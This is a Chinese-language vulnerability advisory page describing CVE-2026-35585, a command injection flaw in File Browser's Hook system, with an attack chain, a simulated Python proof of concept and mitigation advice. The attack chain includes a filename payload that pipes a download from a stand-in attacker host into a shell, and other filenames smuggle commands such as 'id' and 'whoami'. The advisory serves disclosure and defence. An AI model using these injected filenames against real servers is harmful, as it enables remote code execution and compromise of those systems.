IPBUF安全漏洞报告
English
CVE-2026-35585 CVSS 7.2 高危

CVE-2026-35585 File Browser远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35585
漏洞类型
远程代码执行 (RCE)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
File Browser

相关标签

RCE命令注入File BrowserCVE-2026-355850day

漏洞概述

File Browser是一款基于Web的文件管理工具。在2.0.0至2.63.1版本中,其Hook系统存在严重的操作系统命令注入漏洞。由于系统在替换$FILE等变量时未进行充分净化,拥有文件写入权限的攻击者可构造包含Shell元字符的恶意文件名。当预设的Hook事件触发时,服务器将执行攻击者注入的任意命令,导致服务器被完全控制。

技术细节

该漏洞源于File Browser在实现Hook功能时,使用了Go语言的`os.Expand`函数进行变量替换,但未对用户可控的输入(如文件名)进行有效的安全过滤。攻击者首先需要获取File Browser的文件写入权限,随后上传或重命名文件,将文件名构造为包含分号、反引号或管道符等特殊字符的Payload(例如`file.txt; whoami`)。当管理员配置的Hook规则(如文件上传后执行脚本)被触发时,系统会将恶意文件名直接拼接到Shell命令上下文中执行。尽管该功能在v2.33.8后默认禁用,但如果管理员启用了此功能,攻击者即可利用此漏洞在服务器端执行任意系统命令,实现远程代码执行。

攻击链分析

STEP 1
1. 获取权限
攻击者注册或获取File Browser的账户,并获得文件写入权限。
STEP 2
2. 构造Payload
攻击者准备一个包含Shell元字符(如;、`、$)的特殊文件名,例如'poc.txt; curl attacker.com | sh'。
STEP 3
3. 触发Hook
攻击者上传或重命名该文件。如果管理员配置了针对该事件的Hook(如上传后重命名或通知),系统将准备执行预设命令。
STEP 4
4. 命令注入
File Browser使用os.Expand解析变量,将恶意文件名拼接到命令字符串中,导致系统执行攻击者注入的任意OS命令。
STEP 5
5. 获得控制
攻击者成功在服务器上执行代码,可能进一步窃取数据、安装后门或破坏系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept: Malicious Filename Creation # This script simulates uploading a file with a malicious filename. # If a Hook is configured to run a command like 'echo $FILE', # the server will execute the injected command. import os # Simulating the vulnerable component # The vulnerable code uses os.Expand which replaces $FILE with the filename # without sanitization. malicious_filename = "safe_file.txt; id #" hook_command_template = "echo Processing file: $FILE" # Vulnerable expansion logic (Go's os.Expand equivalent in Python concept) # In the real vulnerability, this happens in the Go binary. # Here we just demonstrate the string manipulation. # The server constructs the final command def execute_hook(filename): # Vulnerable: direct substitution final_cmd = hook_command_template.replace("$FILE", filename) print(f"[VULNERABLE SERVER] Executing: {final_cmd}") # In a real scenario, os.system(final_cmd) would be called # os.system(final_cmd) # This would run 'id' on the server if __name__ == "__main__": print(f"[ATTACKER] Uploading file: {malicious_filename}") execute_hook(malicious_filename)

影响范围

File Browser >= 2.0.0, <= 2.63.1

防御指南

临时缓解措施
建议立即检查File Browser的配置文件,确保Hook功能未被启用。若必须使用,请避免在命令中直接引用文件名变量,或在应用层面对文件名进行严格的正则过滤,移除所有Shell特殊字符。同时,应限制服务器的网络出站权限,以防漏洞被利用时反向连接攻击者服务器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表